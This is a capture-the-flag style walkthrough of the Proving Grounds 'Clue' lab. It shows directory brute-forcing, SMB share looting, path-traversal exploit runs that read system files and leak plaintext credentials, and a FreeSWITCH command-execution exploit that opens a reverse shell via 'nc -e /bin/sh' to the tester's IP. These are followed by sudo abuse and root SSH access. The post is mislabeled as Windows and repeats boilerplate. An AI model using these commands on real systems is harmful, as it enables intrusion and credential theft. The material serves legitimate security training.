Post

Proving Grounds - Clue (Windows)

Proving Grounds Clue Windows walkthrough covering reconnaissance, initial access, and privilege escalation.

Proving Grounds - Clue (Windows)

Overview

Field Value
OS Windows
Difficulty Not specified
Attack Surface Web application and exposed network services
Primary Entry Vector Web-based initial access
Privilege Escalation Path Local enumeration -> misconfiguration abuse -> root

Credentials

No credentials obtained.

Reconnaissance


💡 Why this works
This stage maps the reachable attack surface and identifies where exploitation is most likely to succeed. Accurate service and content discovery reduces blind testing and drives targeted follow-up actions.

Initial Foothold


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50 -r --timeout 3 --no-state -s 200,301,302,401,403 -x php,html,txt --dont-scan '/(css|fonts?|images?|img)/' -u http://$ip:3000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❌[21:15][CPU:8][MEM:73][TUN0:192.168.45.193][/home/n0z0]
🐉 > feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50 -r --timeout 3 --no-state -s 200,301,302,401,403 -x php,html,txt --dont-scan '/(css|fonts?|images?|img)/' -u http://$ip:3000 
                                                                                                                                                                                                                  
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.12.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.245.240:3000
 🚫  Don't Scan Regex      │ /(css|fonts?|images?|img)/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200, 301, 302, 401, 403]
 💥  Timeout (secs)        │ 3
 🦡  User-Agent            │ feroxbuster/2.12.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, txt]
 🏁  HTTP methods          │ [GET]
 📍  Follow Redirects      │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       96l      239w     3837c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       33l       98w     3837c http://192.168.245.240:3000/cgi-bin/Spy.html
200      GET       65l      175w     3837c http://192.168.245.240:3000/cgi-bin/_adm
200      GET       65l      175w     3837c http://192.168.245.240:3000/cgi-bin/.git/logs/LogFiles.php
200      GET       33l       98w     3837c http://192.168.245.240:3000/lat_getlinking.txt
200      GET       65l      175w     3837c http://192.168.245.240:3000/.git/logs/programs.php
200      GET       65l      175w     3837c http://192.168.245.240:3000/.git/logs/cgi-bin/journals

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
2
smbclient //$ip/backup -m SMB3
smbclient \\\\$ip\\backup -N -c "prompt OFF; recurse ON; mget *" -m SMB3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
✅[1:30][CPU:13][MEM:58][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > smbclient //$ip/backup -m SMB3                
Password for [WORKGROUP\n0z0]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Aug  5 17:43:50 2022
  ..                                  D        0  Fri Aug  5 17:43:44 2022
  freeswitch                          D        0  Fri Aug  5 17:43:51 2022
  cassandra                           D        0  Sat May  7 00:04:47 2022

                                                                                                                                                                                                                  
✅[1:31][CPU:22][MEM:58][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > smbclient \\\\$ip\\backup -N -c "prompt OFF; recurse ON; mget *" -m SMB3

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
nc -vn $ip 8021
1
2
3
4
5
6
7
8
9
10
❌[1:46][CPU:10][MEM:59][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > nc -vn $ip 8021           
(UNKNOWN) [192.168.245.240] 8021 (zope-ftp) open
Content-Type: auth/request
Content-Type: text/disconnect-notice
Content-Length: 67

Disconnected, goodbye.
See you at ClueCon! http://www.cluecon.com/

https://book.hacktricks.wiki/en/network-services-pentesting/cassandra.html SELECT cluster_name, thrift_version, data_center, partitioner, native_protocol_version, rack, release_version from system.local; Screenshot from the clue engagement Caption: Screenshot captured during this stage of the assessment.

https://www.exploit-db.com/exploits/49362 At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
python3 49362.py $ip /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
✅[2:49][CPU:21][MEM:78][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 49362.py $ip /etc/passwd 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:106:113::/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000::/home/cassie:/bin/bash
freeswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001::/home/anthony:/bin/bash

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
python3 49362.py $ip -p 3000 ../../../../../../../../proc/self/cmdline
1
2
3
4
❌[0:04][CPU:9][MEM:71][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 49362.py $ip -p 3000 ../../../../../../../../proc/self/cmdline 

/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
python3 49362.py $ip -p 3000 ../../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml
1
2
3
4
5
6
7
8
9
10
11
✅[0:24][CPU:3][MEM:69][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 49362.py $ip -p 3000 ../../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml

<configuration name="event_socket.conf" description="Socket Client">
  <settings>
    <param name="nat-map" value="false"/>
    <param name="listen-ip" value="0.0.0.0"/>
    <param name="listen-port" value="8021"/>
    <param name="password" value="StrongClueConEight021"/>
  </settings>
</configuration>

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
searchsploit freeswi
1
2
3
4
5
6
7
8
9
10
✅[3:18][CPU:12][MEM:76][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > searchsploit freeswi 
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                  |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
FreeSWITCH - Event Socket Command Execution (Metasploit)                                                                                                                        | multiple/remote/47698.rb
FreeSWITCH 1.10.1 - Command Execution                                                                                                                                           | windows/remote/47799.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
1
2
3
4
✅[23:42][CPU:3][MEM:68][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
Authenticated

💡 Why this works
The initial access step chains discovered weaknesses into executable control over the target. Successful foothold techniques are validated by command execution or interactive shell callbacks.

Privilege Escalation


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
1
2
3
4
5
❌[0:51][CPU:2][MEM:67][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > python3 47799.py $ip 'nc -e /bin/sh 192.168.45.193 3000'
Authenticated
Content-Type: api/response
Content-Length: 14

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
rlwrap -cAri nc -lvnp 3000
1
2
3
4
5
6
7
8
❌[23:43][CPU:5][MEM:69][TUN0:192.168.45.193][/tools/linux]
🐉 > rlwrap -cAri nc -lvnp 3000
listening on [any] 3000 ...
connect to [192.168.45.193] from (UNKNOWN) [192.168.245.240] 57792
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
script /dev/null -c bash

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330
1
2
cassie@clue:~$ sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330

At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

1
ssh root@$ip -i id_rsa
1
2
3
✅[1:02][CPU:1][MEM:66][TUN0:192.168.45.193][....OSCP/Proving_Ground/Clue]
🐉 > ssh root@$ip -i id_rsa  

💡 Why this works
Privilege escalation relies on local misconfigurations, unsafe permissions, and trusted execution paths. Enumerating and abusing these trust boundaries is the fastest route to root-level access.

Lessons Learned / Key Takeaways

  • Validate framework debug mode and error exposure in production-like environments.
  • Restrict file permissions on scripts and binaries executed by privileged users or schedulers.
  • Harden sudo policies to avoid wildcard command expansion and scriptable privileged tools.
  • Treat exposed credentials and environment files as critical secrets.

References

  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
  • feroxbuster: https://github.com/epi052/feroxbuster
  • Nuclei: https://github.com/projectdiscovery/nuclei
  • GTFOBins: https://gtfobins.org/
  • HackTricks Privilege Escalation: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
This post is licensed under CC BY 4.0 by the author.